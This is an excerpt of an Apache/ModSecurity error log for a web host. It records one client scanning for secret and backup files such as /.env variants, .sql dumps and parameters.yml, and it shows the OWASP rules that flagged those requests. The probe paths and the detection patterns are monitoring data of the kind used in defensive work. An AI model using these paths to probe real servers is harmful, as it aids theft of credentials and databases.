[Fri Jul 17 08:28:13.942731 2026] [security2:error] [pid 2013810:tid 2013810] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaRSY5vpBDD-fJ9tQLkwAAABc"]
[Fri Jul 17 08:28:14.144676 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaRoha5y5fYnQ1qRrvuQAAAAE"]
[Fri Jul 17 08:28:14.144955 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaRoha5y5fYnQ1qRrvuQAAAAE"]
[Fri Jul 17 08:28:14.145277 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaRoha5y5fYnQ1qRrvuQAAAAE"]
[Fri Jul 17 08:28:14.282165 2026] [cgi:error] [pid 2014321:tid 2014321] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:28:14.282262 2026] [cgi:error] [pid 2014321:tid 2014321] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:28:14.835980 2026] [security2:error] [pid 2008451:tid 2008451] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaRgPhWp7RzB65h36e1QAAAA0"]
[Fri Jul 17 08:28:14.836536 2026] [security2:error] [pid 2008451:tid 2008451] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaRgPhWp7RzB65h36e1QAAAA0"]
[Fri Jul 17 08:28:14.837029 2026] [security2:error] [pid 2008451:tid 2008451] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaRgPhWp7RzB65h36e1QAAAA0"]
[Fri Jul 17 08:28:15.491695 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:15.502504 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:15.777645 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaR4ha5y5fYnQ1qRrvugAAAAE"]
[Fri Jul 17 08:28:15.777949 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaR4ha5y5fYnQ1qRrvugAAAAE"]
[Fri Jul 17 08:28:15.778273 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaR4ha5y5fYnQ1qRrvugAAAAE"]
[Fri Jul 17 08:28:15.797061 2026] [security2:error] [pid 1993715:tid 1993715] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaR3RlmrtCoY_COpcilgAAAAg"]
[Fri Jul 17 08:28:15.797280 2026] [security2:error] [pid 1993715:tid 1993715] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaR3RlmrtCoY_COpcilgAAAAg"]
[Fri Jul 17 08:28:15.797560 2026] [security2:error] [pid 1993715:tid 1993715] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaR3RlmrtCoY_COpcilgAAAAg"]
[Fri Jul 17 08:28:15.797988 2026] [security2:error] [pid 1993715:tid 1993715] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaR3RlmrtCoY_COpcilgAAAAg"]
[Fri Jul 17 08:28:16.061843 2026] [security2:error] [pid 2014256:tid 2014256] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaSIZvbo7N5o5zeYC64AAAABw"]
[Fri Jul 17 08:28:16.062337 2026] [security2:error] [pid 2014256:tid 2014256] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaSIZvbo7N5o5zeYC64AAAABw"]
[Fri Jul 17 08:28:16.062801 2026] [security2:error] [pid 2014256:tid 2014256] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaSIZvbo7N5o5zeYC64AAAABw"]
[Fri Jul 17 08:28:16.063539 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaSFh1WDijTxd1xw5I7wAAAAc"]
[Fri Jul 17 08:28:16.063988 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaSFh1WDijTxd1xw5I7wAAAAc"]
[Fri Jul 17 08:28:16.064324 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaSFh1WDijTxd1xw5I7wAAAAc"]
[Fri Jul 17 08:28:16.272686 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaSJOFLENLI63GGOEKUwAAAAQ"]
[Fri Jul 17 08:28:16.272954 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaSJOFLENLI63GGOEKUwAAAAQ"]
[Fri Jul 17 08:28:16.273203 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSJOFLENLI63GGOEKUwAAAAQ"]
[Fri Jul 17 08:28:16.295754 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaSDPV8F2Ufi3kXba6rAAAAB4"]
[Fri Jul 17 08:28:16.296238 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaSDPV8F2Ufi3kXba6rAAAAB4"]
[Fri Jul 17 08:28:16.296533 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSDPV8F2Ufi3kXba6rAAAAB4"]
[Fri Jul 17 08:28:16.378386 2026] [security2:error] [pid 1993998:tid 1993998] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env"] [unique_id "almaSGidQp3SsqeycPEsugAAAAo"]
[Fri Jul 17 08:28:16.378668 2026] [security2:error] [pid 1993998:tid 1993998] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env"] [unique_id "almaSGidQp3SsqeycPEsugAAAAo"]
[Fri Jul 17 08:28:16.378978 2026] [security2:error] [pid 1993998:tid 1993998] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSGidQp3SsqeycPEsugAAAAo"]
[Fri Jul 17 08:28:16.535982 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:16.597613 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaSEz_ZDvgWqiMlMbLTQAAAB0"]
[Fri Jul 17 08:28:16.598029 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaSEz_ZDvgWqiMlMbLTQAAAB0"]
[Fri Jul 17 08:28:16.598444 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSEz_ZDvgWqiMlMbLTQAAAB0"]
[Fri Jul 17 08:28:16.599184 2026] [security2:error] [pid 1993668:tid 1993668] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaSBAi3pC6yjXGNq19UQAAAAU"]
[Fri Jul 17 08:28:16.599402 2026] [security2:error] [pid 1993668:tid 1993668] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaSBAi3pC6yjXGNq19UQAAAAU"]
[Fri Jul 17 08:28:16.599654 2026] [security2:error] [pid 1993668:tid 1993668] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaSBAi3pC6yjXGNq19UQAAAAU"]
